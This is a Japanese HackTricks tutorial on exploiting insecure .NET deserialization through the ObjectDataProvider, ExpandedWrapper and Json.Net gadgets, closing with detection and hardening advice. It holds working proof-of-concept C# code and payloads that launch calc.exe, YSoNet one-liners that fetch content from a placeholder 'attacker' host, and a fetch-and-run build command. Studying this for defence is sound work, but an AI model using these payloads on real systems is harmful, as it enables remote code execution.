Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

この投稿は、ObjectDataProvider ガジェットがどのように悪用されるかを理解することと、Json.Net と xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるかに捧げられています。

ObjectDataProvider ガジェット

ドキュメントから: ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップし、作成します。
そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、任意のオブジェクトをラップすることを可能にし、_MethodParameters_を使用して任意のパラメータを設定し、その後、MethodNameを使用して任意の関数を呼び出すことができます。
したがって、任意の
オブジェクト
は、デシリアライズされる際にパラメータを持つ関数実行します。

これはどのように可能か

System.Windows.Data 名前空間は、C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPFPresentationFramework.dll 内で定義および実装されています。

dnSpy を使用すると、私たちが興味のあるクラスのコードを検査できます。以下の画像では、PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名のコードを見ています。

MethodName が設定されると base.Refresh() が呼び出されるのが観察できます。これが何をするのか見てみましょう:

では、this.BeginQuery() が何をするのかを見続けましょう。BeginQueryObjectDataProvider によってオーバーライドされており、これがその動作です:

コードの最後で this.QueryWorke(null) が呼び出されていることに注意してください。これが何を実行するのか見てみましょう:

これは QueryWorker 関数の完全なコードではありませんが、興味深い部分を示しています: コードは this.InvokeMethodOnInstance(out ex); を呼び出します。これはメソッドセットが呼び出される行です。

MethodName**を設定するだけで実行されることを確認したい場合は、このコードを実行できます:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

注意: System.Windows.Dataをロードするには、C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll を参照として追加する必要があります。

ExpandedWrapper

前述のエクスプロイトを使用すると、オブジェクトが_ObjectDataProvider_インスタンスとしてデシリアライズされるケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトがGetTypeを使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型(例えばProcess)について知識がありません。DotNetNukeの脆弱性についての詳細はこちらで確認できます。

このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を指定することを可能にします。したがって、このクラスはソースオブジェクト(ObjectDataProvider)を新しいオブジェクト型にカプセル化し、必要なプロパティ(ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters)を提供するために使用できます。
これは、前述のケースのように非常に便利です。なぜなら、_ObjectDataProviderを**ExpandedWrapperインスタンス内にラップし、デシリアライズされるとこのクラスが**OjectDataProviderオブジェクトを作成し、MethodName_で示された関数実行するからです。

次のコードでこのラッパーを確認できます:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

公式ウェブページには、このライブラリがJson.NETの強力なJSONシリアライザーを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズすることを可能にすると記載されています。したがって、ObjectDataProviderガジェットをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。

Json.Netの例

まず、このライブラリを使用してオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Netの悪用

ysoserial.netを使用して、エクスプロイトを作成しました:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

このコードではエクスプロイトをテストできます。実行すると、計算機が起動するのがわかります。

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

高度な .NET ガジェットチェーン (YSoNet & ysoserial.net)

上記で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが 安全でない .NET デシリアライズ を行う際に悪用できる多くのガジェットチェーンのうちの一つに過ぎません。YSoNet(および古い ysoserial.net)のような現代のレッドチームツールは、数十のガジェットとシリアル化フォーマット用の 使える悪意のあるオブジェクトグラフ の生成を自動化します。

以下は、YSoNet に同梱されている最も有用なチェーンの簡潔なリファレンスで、それらの動作方法とペイロードを生成するための例コマンドを簡単に説明しています。

ガジェットチェーンキーアイデア / プリミティブ一般的なシリアライザーYSoNet ワンライナー
TypeConfuseDelegateDelegateSerializationHolder レコードを破損させ、マテリアライズされた後にデリゲートが任意の攻撃者提供のメソッド(例: Process.Start)を指すようにしますBinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector を悪用して、NET ≥4.8 タイプフィルタリングをバイパスし、提供されたクラスの コンストラクタ を直接呼び出すか、C# ファイルをその場で コンパイル しますBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSetレガシー XML 表現を利用して、<ColumnMapping> / <DataType> フィールドを埋めることで任意の型をインスタンス化します(オプションで --spoofedAssembly でアセンブリを偽装)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF 対応のランタイム (> .NET 5) でプロパティゲッターをチェーンし、System.CodeDom.Compiler.CompilerResults に到達した後、-c で提供された DLL を コンパイル または ロード しますJson.NET タイプレス, MessagePack タイプレスysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (レビュー)WPF System.Windows.Data.ObjectDataProvider を使用して、制御された引数で任意の静的メソッドを呼び出します。YSoNet は悪意のある XAML をリモートでホストする便利な --xamlurl バリアントを追加しますBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)System.Management.Automation.PSObjectScriptBlock を埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行されますPowerShell リモーティング, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

すべてのペイロードはデフォルトで stdout に書き込まれ、他のツール(例: ViewState ジェネレーター、base64 エンコーダー、HTTP クライアント)にパイプするのが簡単です。

YSoNet のビルド / インストール

Actions ➜ Artifacts / Releases に事前コンパイルされたバイナリがない場合、以下の PowerShell ワンライナーがビルド環境をセットアップし、リポジトリをクローンしてすべてを Release モードでコンパイルします:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

コンパイルされた ysonet.exeysonet/bin/Release/ にあります。

検出と強化

  • 予期しない w3wp.exePowerShell.exe、またはユーザー提供データをデシリアライズするプロセス(例:MessagePackJson.NET)の子プロセスを検出します。
  • レガシーの BinaryFormatter / NetDataContractSerializer を削除できない場合は、常に タイプフィルタリング (TypeFilterLevel = Full、カスタム SurrogateSelectorSerializationBinderなど) を有効にし、強制します。
  • 可能な限り System.Text.Json または DataContractJsonSerializer に移行し、ホワイトリストベースのコンバータを使用します。
  • 決して必要としないウェブプロセスで読み込まれることのない危険な WPF アセンブリ(PresentationFrameworkSystem.Workflow.*)をブロックします。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする